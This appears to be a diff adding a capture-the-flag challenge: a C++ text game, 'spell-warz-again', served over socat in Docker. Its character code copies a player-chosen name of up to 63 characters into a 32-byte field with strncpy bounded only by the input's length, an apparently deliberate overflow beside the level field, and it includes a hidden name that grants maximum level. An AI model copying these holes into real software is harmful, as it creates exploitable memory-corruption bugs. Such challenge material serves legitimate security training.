| @ -0,0 +1,12 @@ | |||||
| FROM ubuntu:latest | |||||
| RUN apt update && \ | |||||
| apt install socat -y | |||||
| WORKDIR /app | |||||
| COPY ./flag.txt . | |||||
| COPY ./spell-warz-again . | |||||
| EXPOSE 12345/tcp | |||||
| CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again | |||||
| @ -0,0 +1,21 @@ | |||||
| MIT License | |||||
| Copyright (c) <year> <copyright holders> | |||||
| Permission is hereby granted, free of charge, to any person obtaining a copy | |||||
| of this software and associated documentation files (the "Software"), to deal | |||||
| in the Software without restriction, including without limitation the rights | |||||
| to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |||||
| copies of the Software, and to permit persons to whom the Software is furnished | |||||
| to do so, subject to the following conditions: | |||||
| The above copyright notice and this permission notice (including the next | |||||
| paragraph) shall be included in all copies or substantial portions of the | |||||
| Software. | |||||
| THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |||||
| IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS | |||||
| FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS | |||||
| OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, | |||||
| WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF | |||||
| OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. | |||||
| @ -0,0 +1,19 @@ | |||||
| UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp | |||||
| g++ -c lib/UserInterface.cpp -o UserInterface.o | |||||
| Battle.o: lib/Battle.cpp lib/Battle.hpp | |||||
| g++ -c lib/Battle.cpp -o Battle.o | |||||
| Spell.o: lib/Spell.cpp lib/Spell.hpp | |||||
| g++ -c lib/Spell.cpp -o Spell.o | |||||
| Character.o: lib/Character.cpp lib/Character.hpp | |||||
| g++ -c lib/Character.cpp -o Character.o | |||||
| spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp | |||||
| g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o | |||||
| clean: all | |||||
| rm Spell.o Character.o UserInterface.o Battle.o | |||||
| all: spell-warz-again | |||||
| @ -1,2 +1,7 @@ | |||||
| # spell-warz-again-final | |||||
| # spell-warz-again | |||||
| Hello guys, there's an update to my last game<br> | |||||
| Now you can choose your own name! Cool isn't it :)<br> | |||||
| Also, I made the new Arch-Mage a little weak<br> | |||||
| please defeat him again!<br> | |||||
| `nc 103.200.7.150 30311` | |||||
| @ -0,0 +1,10 @@ | |||||
| version: "2" | |||||
| services: | |||||
| main: | |||||
| build: . | |||||
| container_name: "spell-warz-again" | |||||
| network_mode: "bridge" | |||||
| restart: on-failure | |||||
| ports: | |||||
| - "30311:12345" | |||||
| @ -0,0 +1 @@ | |||||
| SlashRootCTF{} | |||||
| @ -0,0 +1,191 @@ | |||||
| #include "Battle.hpp" | |||||
| std::vector<Spell> Battle::SPELL_BOOK = { | |||||
| Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5), | |||||
| Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10), | |||||
| Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15), | |||||
| Spell("Seism", Spell::TYPE_DESTRUCTION, 160, 20), | |||||
| Spell("Teleport", Spell::TYPE_DESTRUCTION, 250, 25), | |||||
| Spell("Beam of Nature's Wrath", Spell::TYPE_DESTRUCTION, 360, 30), | |||||
| Spell("Ball of the Molten Core", Spell::TYPE_DESTRUCTION, 490, 35), | |||||
| Spell("Wrath of Poison", Spell::TYPE_DESTRUCTION, 640, 40), | |||||
| Spell("Extortion Burst", Spell::TYPE_DESTRUCTION, 810, 45), | |||||
| Spell("Projection of Sound", Spell::TYPE_DESTRUCTION, 1000, 50), | |||||
| Spell("Soul Tempest", Spell::TYPE_DESTRUCTION, 1210, 55), | |||||
| Spell("Mystic Nova", Spell::TYPE_DESTRUCTION, 1440, 60), | |||||
| Spell("Frostfire Burn", Spell::TYPE_DESTRUCTION, 1690, 65), | |||||
| Spell("Torrent", Spell::TYPE_DESTRUCTION, 1960, 70), | |||||
| Spell("Windstorm", Spell::TYPE_DESTRUCTION, 2250, 75), | |||||
| Spell("Barrier of Redemption", Spell::TYPE_DESTRUCTION, 2560, 80), | |||||
| Spell("Burst of the Angels", Spell::TYPE_DESTRUCTION, 2890, 85), | |||||
| Spell("Absorption of Chaos", Spell::TYPE_DESTRUCTION, 3240, 90), | |||||
| Spell("Decay of Light", Spell::TYPE_DESTRUCTION, 3610, 95), | |||||
| Spell("Dispersion of Force", Spell::TYPE_DESTRUCTION, 4000, 100), | |||||
| Spell("Solar Barrage", Spell::TYPE_DESTRUCTION, 4410, 105), | |||||
| Spell("Death Burn", Spell::TYPE_DESTRUCTION, 4840, 110), | |||||
| Spell("Blazing Strike", Spell::TYPE_DESTRUCTION, 5290, 115), | |||||
| Spell("Imitate", Spell::TYPE_DESTRUCTION, 5760, 120), | |||||
| Spell("Shooting Star", Spell::TYPE_DESTRUCTION, 6250, 125), | |||||
| Spell("Seal of Traps", Spell::TYPE_DESTRUCTION, 6760, 130), | |||||
| Spell("Flare of the Inferno", Spell::TYPE_DESTRUCTION, 7290, 135), | |||||
| Spell("Distraction of Stone", Spell::TYPE_DESTRUCTION, 7840, 140), | |||||
| Spell("Concentration of Glory", Spell::TYPE_DESTRUCTION, 8410, 145), | |||||
| Spell("Calm of Energy", Spell::TYPE_DESTRUCTION, 9000, 150), | |||||
| Spell("Soul Surge", Spell::TYPE_DESTRUCTION, 9610, 155), | |||||
| Spell("Moonlight Blaze", Spell::TYPE_DESTRUCTION, 10240, 160), | |||||
| Spell("Sunlight Salvo", Spell::TYPE_DESTRUCTION, 10890, 165), | |||||
| Spell("Banish Demon", Spell::TYPE_DESTRUCTION, 11560, 170), | |||||
| Spell("Hurricane", Spell::TYPE_DESTRUCTION, 12250, 175), | |||||
| Spell("Blast of Soul Draining", Spell::TYPE_DESTRUCTION, 12960, 180), | |||||
| Spell("Burst of Altered Time", Spell::TYPE_DESTRUCTION, 13690, 185), | |||||
| Spell("Incantation of Time", Spell::TYPE_DESTRUCTION, 14440, 190), | |||||
| Spell("Demolition Curse", Spell::TYPE_DESTRUCTION, 15210, 195), | |||||
| Spell("Protection of Phantoms", Spell::TYPE_DESTRUCTION, 16000, 200), | |||||
| Spell("Mage Burst", Spell::TYPE_DESTRUCTION, 16810, 205), | |||||
| Spell("Starfire Hail", Spell::TYPE_DESTRUCTION, 17640, 210), | |||||
| Spell("Ice Blitz", Spell::TYPE_DESTRUCTION, 18490, 215), | |||||
| Spell("Cyclone", Spell::TYPE_DESTRUCTION, 19360, 220), | |||||
| Spell("Charge", Spell::TYPE_DESTRUCTION, 20250, 225), | |||||
| Spell("Barrier of Exhaustion", Spell::TYPE_DESTRUCTION, 21160, 230), | |||||
| Spell("Blessing of Demon Fire", Spell::TYPE_DESTRUCTION, 22090, 235), | |||||
| Spell("Illusion Blast", Spell::TYPE_DESTRUCTION, 23040, 240), | |||||
| Spell("Fury of Poison", Spell::TYPE_DESTRUCTION, 24010, 245), | |||||
| Spell("Plagueing of Fire", Spell::TYPE_DESTRUCTION, 25000, 250), | |||||
| Spell("Fiery Eruption", Spell::TYPE_DESTRUCTION, 26010, 255), | |||||
| Spell("Thunder Arrow", Spell::TYPE_DESTRUCTION, 27040, 260), | |||||
| Spell("Infernal Bomb", Spell::TYPE_DESTRUCTION, 28090, 265), | |||||
| Spell("Ignite", Spell::TYPE_DESTRUCTION, 29160, 270), | |||||
| Spell("Solidify", Spell::TYPE_DESTRUCTION, 30250, 275), | |||||
| Spell("Call of Burning Embers", Spell::TYPE_DESTRUCTION, 31360, 280), | |||||
| Spell("Burst of Acid", Spell::TYPE_DESTRUCTION, 32490, 285), | |||||
| Spell("Calm of Death", Spell::TYPE_DESTRUCTION, 33640, 290), | |||||
| Spell("Annihilation Burst", Spell::TYPE_DESTRUCTION, 34810, 295), | |||||
| Spell("Absorption of Strength", Spell::TYPE_DESTRUCTION, 36000, 300), | |||||
| Spell("Infernal Explosion", Spell::TYPE_DESTRUCTION, 37210, 305), | |||||
| Spell("Lava Blast", Spell::TYPE_DESTRUCTION, 38440, 310), | |||||
| Spell("Pyro Spike", Spell::TYPE_DESTRUCTION, 39690, 315), | |||||
| Spell("Mind Blast", Spell::TYPE_DESTRUCTION, 40960, 320), | |||||
| Spell("Extinguish", Spell::TYPE_DESTRUCTION, 42250, 325), | |||||
| Spell("Spell of Obliteration", Spell::TYPE_DESTRUCTION, 43560, 330), | |||||
| Spell("Hymn of Havoc", Spell::TYPE_DESTRUCTION, 44890, 335), | |||||
| Spell("Consecration Ritual", Spell::TYPE_DESTRUCTION, 46240, 340), | |||||
| Spell("Distraction of Perfection", Spell::TYPE_DESTRUCTION, 47610, 345), | |||||
| Spell("Delusion of Vulnerabilities", Spell::TYPE_DESTRUCTION, 49000, 350), | |||||
| Spell("Static Blaze", Spell::TYPE_DESTRUCTION, 50410, 355), | |||||
| Spell("Pyro Whip", Spell::TYPE_DESTRUCTION, 51840, 360), | |||||
| Spell("Acid Blitz", Spell::TYPE_DESTRUCTION, 53290, 365), | |||||
| Spell("Daydream", Spell::TYPE_DESTRUCTION, 54760, 370), | |||||
| Spell("Invigorate", Spell::TYPE_DESTRUCTION, 56250, 375), | |||||
| Spell("Hymn of Revival", Spell::TYPE_DESTRUCTION, 57760, 380), | |||||
| Spell("Jinx of Health", Spell::TYPE_DESTRUCTION, 59290, 385), | |||||
| Spell("Division of Defense", Spell::TYPE_DESTRUCTION, 60840, 390), | |||||
| Spell("Abjuration Orb", Spell::TYPE_DESTRUCTION, 62410, 395), | |||||
| Spell("Divinity of Life", Spell::TYPE_DESTRUCTION, 64000, 400), | |||||
| Spell("Shadow Flash", Spell::TYPE_DESTRUCTION, 65610, 405), | |||||
| Spell("Mind Flare", Spell::TYPE_DESTRUCTION, 67240, 410), | |||||
| Spell("Unholy Explosion", Spell::TYPE_DESTRUCTION, 68890, 415), | |||||
| Spell("Soulburn", Spell::TYPE_DESTRUCTION, 70560, 420), | |||||
| Spell("Phantom Form", Spell::TYPE_DESTRUCTION, 72250, 425), | |||||
| Spell("Rain of Plagues", Spell::TYPE_DESTRUCTION, 73960, 430), | |||||
| Spell("Aura of Shifting Sands", Spell::TYPE_DESTRUCTION, 75690, 435), | |||||
| Spell("Purification of Heat", Spell::TYPE_DESTRUCTION, 77440, 440), | |||||
| Spell("Purification of Hell", Spell::TYPE_DESTRUCTION, 79210, 445), | |||||
| Spell("Purity of SoulsVoid Tempest", Spell::TYPE_DESTRUCTION, 81000, 450), | |||||
| Spell("Thunder Hail", Spell::TYPE_DESTRUCTION, 82810, 455), | |||||
| Spell("Acid Bolt", Spell::TYPE_DESTRUCTION, 84640, 460), | |||||
| Spell("Incinerate", Spell::TYPE_DESTRUCTION, 86490, 465), | |||||
| Spell("Slow", Spell::TYPE_DESTRUCTION, 88360, 470), | |||||
| Spell("Bolt of Deflection", Spell::TYPE_DESTRUCTION, 90250, 475), | |||||
| Spell("Beam of Shadows", Spell::TYPE_DESTRUCTION, 92160, 480), | |||||
| Spell("Putrefaction of Blessings", Spell::TYPE_DESTRUCTION, 94090, 485), | |||||
| Spell("Exploitation of Force", Spell::TYPE_DESTRUCTION, 96040, 490), | |||||
| Spell("Annihilation Ceremony", Spell::TYPE_DESTRUCTION, 98010, 495), | |||||
| Spell("Repose of Energy", Spell::TYPE_DESTRUCTION, 100000, 500), | |||||
| }; | |||||
| Battle::Battle( | |||||
| Character &p1, | |||||
| Character &p2) : player1(p1), player2(p2) | |||||
| { | |||||
| this->turn = 0; | |||||
| } | |||||
| void Battle::battleStartAnnounce() | |||||
| { | |||||
| std::cout << " === BATTLE START === \n" | |||||
| << " " << player1.getName() << "\n" | |||||
| << " vs \n" | |||||
| << " " << player2.getName() << "\n" | |||||
| << " === ============ === \n" | |||||
| << std::flush; | |||||
| } | |||||
| void Battle::battleEndAnnouce() | |||||
| { | |||||
| std::cout << " === BATTLE END === \n" | |||||
| << " Winner: " << ((winner == 1) ? player1.getName() : player2.getName()) << "\n" | |||||
| << std::flush; | |||||
| } | |||||
| void Battle::start() | |||||
| { | |||||
| int choiceInt; | |||||
| char buff[64] = {0}; | |||||
| this->battleStartAnnounce(); | |||||
| while ((player1.isAlive() && player2.isAlive()) && this->turn <= Battle::MAX_TURN) | |||||
| { | |||||
| std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n" | |||||
| << "Your spell book:\n"; | |||||
| for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++) | |||||
| { | |||||
| std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n"; | |||||
| } | |||||
| std::cout << std::flush; | |||||
| choiceInt = UserInterface::getNumber( | |||||
| "What are you gonna cast this turn?\n>", 0, | |||||
| player1.getLevel() > SPELL_BOOK.size() ? SPELL_BOOK.size() : player1.getLevel()); | |||||
| if (player1.canCastSpell(SPELL_BOOK.at(choiceInt))) | |||||
| { | |||||
| player1.castSpell(SPELL_BOOK.at(choiceInt), player2); | |||||
| snprintf(buff, 63, "%s cast %s...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| snprintf(buff, 63, "%s took %d damage...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getPower()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| } | |||||
| else | |||||
| { | |||||
| snprintf(buff, 63, "%s failed to cast %s!\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||||
| UserInterface::print(buff); | |||||
| } | |||||
| choiceInt = (random() % (player2.getLevel() < SPELL_BOOK.size() ? player2.getLevel() : SPELL_BOOK.size())) + 1; | |||||
| if (player2.canCastSpell(SPELL_BOOK.at(choiceInt))) | |||||
| { | |||||
| player2.castSpell(SPELL_BOOK.at(choiceInt), player1); | |||||
| snprintf(buff, 63, "%s cast %s...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| snprintf(buff, 63, "%s took %d damage...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getPower()); | |||||
| UserInterface::print(buff); | |||||
| memset(buff, 0, 64); | |||||
| } | |||||
| else | |||||
| { | |||||
| snprintf(buff, 63, "%s failed to cast %s!\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName()); | |||||
| UserInterface::print(buff); | |||||
| } | |||||
| this->turn++; | |||||
| } | |||||
| this->winner = (player1.isAlive() && (player1.getCurHP() >= player2.getCurHP())) ? 1 : 2; | |||||
| this->battleEndAnnouce(); | |||||
| } | |||||
| int Battle::getWinner() | |||||
| { | |||||
| return this->winner; | |||||
| } | |||||
| @ -0,0 +1,33 @@ | |||||
| #ifndef SPELL_WARZ_BATTLE_HPP | |||||
| #define SPELL_WARZ_BATTLE_HPP 1 | |||||
| #include <iostream> | |||||
| #include <thread> | |||||
| #include <chrono> | |||||
| #include "Character.hpp" | |||||
| #include "Spell.hpp" | |||||
| #include "UserInterface.hpp" | |||||
| class Battle | |||||
| { | |||||
| protected: | |||||
| static const int MAX_TURN = 100; | |||||
| static std::vector<Spell> SPELL_BOOK; | |||||
| int turn; | |||||
| int winner; | |||||
| Character &player1; | |||||
| Character &player2; | |||||
| void battleStartAnnounce(); | |||||
| void battleEndAnnouce(); | |||||
| void clearBuff(); | |||||
| public: | |||||
| Battle(Character &p1, Character &p2); | |||||
| int getWinner(); | |||||
| void start(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,195 @@ | |||||
| #include <cstdlib> | |||||
| #include <cstdio> | |||||
| #include "Character.hpp" | |||||
| const long Character::MAX_LVL = 1000000L; | |||||
| const long Character::MAX_EXP = 1000000000000L; | |||||
| Character::Character(const char *characterName, | |||||
| long characterLevel) | |||||
| : name(""), experience(0) | |||||
| { | |||||
| if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName)) | |||||
| { | |||||
| level = characterLevel; | |||||
| } | |||||
| else | |||||
| { | |||||
| level = MAX_LVL; | |||||
| } | |||||
| maxHP = curHP = 100 * level; | |||||
| maxMP = curMP = 50 * level; | |||||
| strncpy(name, characterName, strlen(characterName)); | |||||
| } | |||||
| Character::Character(const char *characterName, | |||||
| long characterLevel, | |||||
| long characterHP, | |||||
| long characterMP) | |||||
| : name(""), | |||||
| experience(0) | |||||
| { | |||||
| level = characterLevel; | |||||
| maxHP = curHP = characterHP; | |||||
| maxMP = curMP = characterMP; | |||||
| strncpy(name, characterName, strlen(characterName)); | |||||
| } | |||||
| const char *Character::getName() | |||||
| { | |||||
| return name; | |||||
| } | |||||
| long Character::getLevel() | |||||
| { | |||||
| if (level > Character::MAX_LVL) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return level; | |||||
| } | |||||
| long Character::getExperience() | |||||
| { | |||||
| if (experience > Character::MAX_LVL) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return experience; | |||||
| } | |||||
| long Character::getMaxHP() | |||||
| { | |||||
| return maxHP; | |||||
| } | |||||
| long Character::getCurHP() | |||||
| { | |||||
| if (curHP > maxHP) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return curHP; | |||||
| } | |||||
| long Character::getMaxMP() | |||||
| { | |||||
| return maxMP; | |||||
| } | |||||
| long Character::getCurMP() | |||||
| { | |||||
| if (curMP > maxMP) | |||||
| { | |||||
| exit(-1); | |||||
| } | |||||
| return curMP; | |||||
| } | |||||
| void Character::levelUp() | |||||
| { | |||||
| if ((level <= MAX_LVL) && readytoLevelUp()) | |||||
| { | |||||
| experience -= toNextLevel(); | |||||
| level++; | |||||
| maxHP += 100; | |||||
| maxMP += 50; | |||||
| curHP = maxHP; | |||||
| curMP = maxMP; | |||||
| } | |||||
| } | |||||
| void Character::restoreHP(int n) | |||||
| { | |||||
| curHP += n; | |||||
| if (curHP > maxHP) | |||||
| { | |||||
| curHP = maxHP; | |||||
| } | |||||
| } | |||||
| void Character::restoreMP(int n) | |||||
| { | |||||
| curMP += n; | |||||
| if (curMP > maxMP) | |||||
| { | |||||
| curMP = maxMP; | |||||
| } | |||||
| } | |||||
| void Character::reduceHP(int n) | |||||
| { | |||||
| curHP -= n; | |||||
| } | |||||
| void Character::reduceMP(int n) | |||||
| { | |||||
| curMP -= n; | |||||
| } | |||||
| bool Character::isAlive() | |||||
| { | |||||
| return curHP > 0; | |||||
| } | |||||
| long Character::toNextLevel() | |||||
| { | |||||
| return level < MAX_LVL ? (level + 1) * (level + 1) : 0; | |||||
| } | |||||
| bool Character::readytoLevelUp() | |||||
| { | |||||
| return level < MAX_LVL ? (toNextLevel() <= experience) : false; | |||||
| } | |||||
| void Character::increaseExperience(int n) | |||||
| { | |||||
| experience += n; | |||||
| if (experience > MAX_EXP) | |||||
| { | |||||
| experience = MAX_EXP; | |||||
| } | |||||
| while (readytoLevelUp()) | |||||
| { | |||||
| levelUp(); | |||||
| } | |||||
| } | |||||
| bool Character::canCastSpell(Spell &spell) | |||||
| { | |||||
| return curMP >= spell.getCost(); | |||||
| } | |||||
| bool Character::castSpell(Spell &spell, Character &target) | |||||
| { | |||||
| if (canCastSpell(spell)) | |||||
| { | |||||
| reduceMP(spell.getCost()); | |||||
| target.reduceHP(spell.getPower()); | |||||
| return true; | |||||
| } | |||||
| else | |||||
| { | |||||
| return false; | |||||
| } | |||||
| } | |||||
| void Character::rest() | |||||
| { | |||||
| restoreHP(maxHP); | |||||
| restoreMP(maxMP); | |||||
| } | |||||
| void Character::kill() | |||||
| { | |||||
| reduceHP(maxHP); | |||||
| } | |||||
| void Character::revive() | |||||
| { | |||||
| if (curHP <= 0) | |||||
| { | |||||
| curHP = 1; | |||||
| } | |||||
| } | |||||
| @ -0,0 +1,57 @@ | |||||
| #ifndef SPELL_WARZ_CHARACTER_HPP | |||||
| #define SPELL_WARZ_CHARACTER_HPP 1 | |||||
| #include <cstring> | |||||
| #include "Spell.hpp" | |||||
| class Character | |||||
| { | |||||
| protected: | |||||
| static const long MAX_LVL; | |||||
| static const long MAX_EXP; | |||||
| char name[32]; | |||||
| long level; | |||||
| long experience; | |||||
| long maxHP; | |||||
| long maxMP; | |||||
| long curHP; | |||||
| long curMP; | |||||
| void restoreHP(int); | |||||
| void restoreMP(int); | |||||
| void reduceHP(int); | |||||
| void reduceMP(int); | |||||
| public: | |||||
| Character(const char *characterName, | |||||
| long characterLevel); | |||||
| Character(const char *characterName, | |||||
| long characterLevel, | |||||
| long characterHP, | |||||
| long characterMP); | |||||
| bool castSpell(Spell &src, Character &dst); | |||||
| bool canCastSpell(Spell &src); | |||||
| const char *getName(); | |||||
| long getLevel(); | |||||
| long getExperience(); | |||||
| long getMaxHP(); | |||||
| long getMaxMP(); | |||||
| long getCurHP(); | |||||
| long getCurMP(); | |||||
| long toNextLevel(); | |||||
| bool readytoLevelUp(); | |||||
| bool isAlive(); | |||||
| void levelUp(); | |||||
| void kill(); | |||||
| void rest(); | |||||
| void revive(); | |||||
| void increaseExperience(int n); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,33 @@ | |||||
| #include <cstring> | |||||
| #include "Spell.hpp" | |||||
| Spell::Spell(const char *spellName, | |||||
| const int spellType, | |||||
| int spellPower, | |||||
| int spellCost) : type(spellType), name("") | |||||
| { | |||||
| this->power = spellPower; | |||||
| this->cost = spellCost; | |||||
| strcpy(this->name, spellName); | |||||
| } | |||||
| int Spell::getType() | |||||
| { | |||||
| return this->type; | |||||
| } | |||||
| int Spell::getPower() | |||||
| { | |||||
| return this->power; | |||||
| } | |||||
| int Spell::getCost() | |||||
| { | |||||
| return this->cost; | |||||
| } | |||||
| const char *Spell::getName() | |||||
| { | |||||
| return this->name; | |||||
| } | |||||
| @ -0,0 +1,28 @@ | |||||
| #ifndef SPELL_WARZ_SPELL_CPP | |||||
| #define SPELL_WARZ_SPELL_CPP 1 | |||||
| class Spell | |||||
| { | |||||
| protected: | |||||
| char name[16]; | |||||
| int type; | |||||
| int power; | |||||
| int cost; | |||||
| public: | |||||
| static const int NAME_LENGTH = 15; | |||||
| static const int TYPE_RESTORATION = 1; | |||||
| static const int TYPE_DESTRUCTION = 2; | |||||
| Spell(const char *spellName, | |||||
| const int spellType, | |||||
| int spellPower, | |||||
| int spellCost); | |||||
| const char *getName(); | |||||
| int getType(); | |||||
| int getPower(); | |||||
| int getCost(); | |||||
| }; | |||||
| #endif | |||||
| @ -0,0 +1,228 @@ | |||||
| #include "UserInterface.hpp" | |||||
| const int UserInterface::INTERVAL = 0; | |||||
| const int UserInterface::MINI_INTERVAL = 0; | |||||
| const int UserInterface::MAX_DAY = 28; | |||||
| const int UserInterface::MAX_MONTH = 12; | |||||
| const int UserInterface::MAX_YEAR = 100; | |||||
| int UserInterface::day = 1; | |||||
| int UserInterface::month = 1; | |||||
| int UserInterface::year = 90; | |||||
| bool UserInterface::gameOver = false; | |||||
| std::vector<std::string> UserInterface::dayName = { | |||||
| "Morndas", | |||||
| "Tirdas", | |||||
| "Middas", | |||||
| "Turdas", | |||||
| "Fredas", | |||||
| "Loredas", | |||||
| "Sundas", | |||||
| }; | |||||
| std::vector<std::string> UserInterface::monthName = { | |||||
| "Morning Star", | |||||
| "Sun's Dawn", | |||||
| "First Seed", | |||||
| "Rain's Hand", | |||||
| "Second Seed", | |||||
| "Mid Year", | |||||
| "Sun's Height", | |||||
| "Last Seed", | |||||
| "Hearthfire", | |||||
| "Frostfall", | |||||
| "Sun's Dusk", | |||||
| "Evening Star", | |||||
| }; | |||||
| void UserInterface::print(std::string msg) | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||||
| } | |||||
| void UserInterface::print(const char *msg) | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||||
| } | |||||
| void UserInterface::println(std::string msg) | |||||
| { | |||||
| std::cout << msg << std::endl; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||||
| } | |||||
| void UserInterface::println(const char *msg) | |||||
| { | |||||
| std::cout << msg << std::endl; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL)); | |||||
| } | |||||
| void UserInterface::printByChar(const char *msg) | |||||
| { | |||||
| int len = strlen(msg); | |||||
| for (size_t i = 0; i < len; i++) | |||||
| { | |||||
| std::cout << msg[i] << std::flush; | |||||
| std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::MINI_INTERVAL)); | |||||
| } | |||||
| } | |||||
| void UserInterface::welcomeMessage() | |||||
| { | |||||
| std::cout << "+++++++++++++++++++++++++++++++++++++++++\n" | |||||
| << "+ Welcome to Spell-Warz-Again-Final !!! +\n" | |||||
| << "+++++++++++++++++++++++++++++++++++++++++\n" | |||||
| << std::flush; | |||||
| } | |||||
| const char *UserInterface::chooseName(char *buffer) | |||||
| { | |||||
| char choice = 0; | |||||
| while (choice != 'y' && choice != 'Y') | |||||
| { | |||||
| printf("Who should we call you?\n>"); | |||||
| fflush(stdout); | |||||
| scanf("%63s", buffer); | |||||
| printf("So you are a young mage named \"%s\" correct? (y/N)\n>", buffer); | |||||
| fflush(stdout); | |||||
| scanf("%1s", &choice); | |||||
| } | |||||
| return buffer; | |||||
| } | |||||
| void UserInterface::epilogue() | |||||
| { | |||||
| UserInterface::printByChar( | |||||
| "I'm tired of making epilogue...\n" | |||||
| "You are a young mage, defeat the damn arch-mage...\n" | |||||
| "F*ck, I'm tired of this...\n" | |||||
| "Do you know I just finished this sh*t at October 10th?\n" | |||||
| "Good luck and defeat the arch-mage.\n" | |||||
| "Trust me, you gonna need the \'Good Luck\' ...\n"); | |||||
| } | |||||
| std::string UserInterface::dateString() | |||||
| { | |||||
| char date[5] = {0}; | |||||
| if (UserInterface::day < 21) | |||||
| { | |||||
| switch (UserInterface::day) | |||||
| { | |||||
| case 1: | |||||
| sprintf(date, "1st"); | |||||
| break; | |||||
| case 2: | |||||
| sprintf(date, "2nd"); | |||||
| break; | |||||
| case 3: | |||||
| sprintf(date, "3rd"); | |||||
| break; | |||||
| default: | |||||
| sprintf(date, "%dth", UserInterface::day); | |||||
| break; | |||||
| } | |||||
| } | |||||
| else | |||||
| { | |||||
| switch (UserInterface::day % 10) | |||||
| { | |||||
| case 1: | |||||
| sprintf(date, "%dst", UserInterface::day); | |||||
| break; | |||||
| case 2: | |||||
| sprintf(date, "%dnd", UserInterface::day); | |||||
| break; | |||||
| case 3: | |||||
| sprintf(date, "%drd", UserInterface::day); | |||||
| break; | |||||
| default: | |||||
| sprintf(date, "%dth", UserInterface::day); | |||||
| break; | |||||
| } | |||||
| } | |||||
| return std::string( | |||||
| UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " + | |||||
| date + " of " + UserInterface::monthName.at(UserInterface::month - 1) + | |||||
| ", Year " + std::to_string(UserInterface::year)); | |||||
| } | |||||
| void UserInterface::menu() | |||||
| { | |||||
| std::cout << "=======================================\n" | |||||
| << UserInterface::dateString() << "\n" | |||||
| << "=======================================\n" | |||||
| << "Available action:\n" | |||||
| << "[1] Take a rest\n" | |||||
| << "[2] Practice magic\n" | |||||
| << "[3] Spar against classmate\n" | |||||
| << "[4] Challenge the new Arch-Mage\n" | |||||
| << "[5] Gather info about the new Arch-Mage\n" | |||||
| << "[6] Meditate to your inner-self\n" | |||||
| << "[0] Commit sudoku\n" | |||||
| << std::flush; | |||||
| } | |||||
| void UserInterface::enemiesInfo(std::vector<Character> &enemies) | |||||
| { | |||||
| for (int i = 0; i < enemies.size(); i++) | |||||
| { | |||||
| std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n"; | |||||
| } | |||||
| std::cout << std::flush; | |||||
| } | |||||
| int UserInterface::getNumber(std::string msg, int min, int max) | |||||
| { | |||||
| int buffer = max + 1; | |||||
| do | |||||
| { | |||||
| std::cout << msg << std::flush; | |||||
| if (std::cin.failbit || std::cin.eofbit) | |||||
| { | |||||
| std::cin.clear(); | |||||
| std::cin.ignore(1); | |||||
| } | |||||
| } while (std::cin >> buffer && !(buffer <= max && buffer >= min)); | |||||
| return buffer; | |||||
| } | |||||
| void UserInterface::nextDay() | |||||
| { | |||||
| if (UserInterface::day++ >= UserInterface::MAX_DAY) | |||||
| { | |||||
| day = 1; | |||||
| if (UserInterface::month++ >= UserInterface::MAX_MONTH) | |||||
| { | |||||
| month = 1; | |||||
| if (UserInterface::year++ >= UserInterface::MAX_YEAR) | |||||
| { | |||||
| UserInterface::gameOver = true; | |||||
| } | |||||
| } | |||||
| } | |||||
| } | |||||
| bool UserInterface::isGameOver() | |||||
| { | |||||
| return gameOver; | |||||
| } | |||||
| void UserInterface::characterInfo(Character &c) | |||||
| { | |||||
| std::cout << "++++++++++++++++++++++++" | |||||
| << "\nName: " << c.getName() | |||||
| << "\n HP: " << c.getCurHP() << "/" << c.getMaxHP() | |||||
| << "\n MP: " << c.getCurMP() << "/" << c.getMaxMP() | |||||
| << "\n Lv: " << c.getLevel() | |||||
| << "\n Xp: " << c.getExperience() | |||||
| << "\n next: " << c.toNextLevel() | |||||
| << "\n++++++++++++++++++++++++" << std::endl; | |||||
| } | |||||
